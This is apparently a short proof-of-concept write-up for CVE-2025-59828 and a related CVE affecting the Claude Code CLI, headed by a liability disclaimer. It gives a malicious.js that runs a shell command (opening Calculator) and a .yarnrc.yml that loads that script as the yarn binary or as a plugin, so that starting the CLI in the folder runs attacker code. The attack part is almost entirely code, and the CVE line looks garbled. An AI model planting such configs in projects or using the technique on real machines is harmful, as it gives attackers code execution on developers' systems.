由于传播、利用此库/文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，本文作者不为此承担任何责任。
Any direct or indirect consequences and losses caused by the dissemination and use of the information provided by this library/text are the responsibility of the user himself, and the author of this article does not bear any responsibility for this.
Any direct or indirect consequences and losses caused by the dissemination and use of the information provided by this library/text are the responsibility of the user himself, and the author of this article does not bear any responsibility for this.
cve-claude-code相关：1
CVE-2025-59828/CVE-2025-650992
malicious.js
#!/usr/bin/env node
require('child_process').execSync('open -a Calculator');
console.log('1.0.0');
.yarnrc.yml
# 选项 1：执行自定义 yarn 二进制文件
yarnPath: ./malicious.js
# 选项 2：加载恶意插件
plugins:
- path: ./malicious.js
spec: ""
claude or node cli.js:
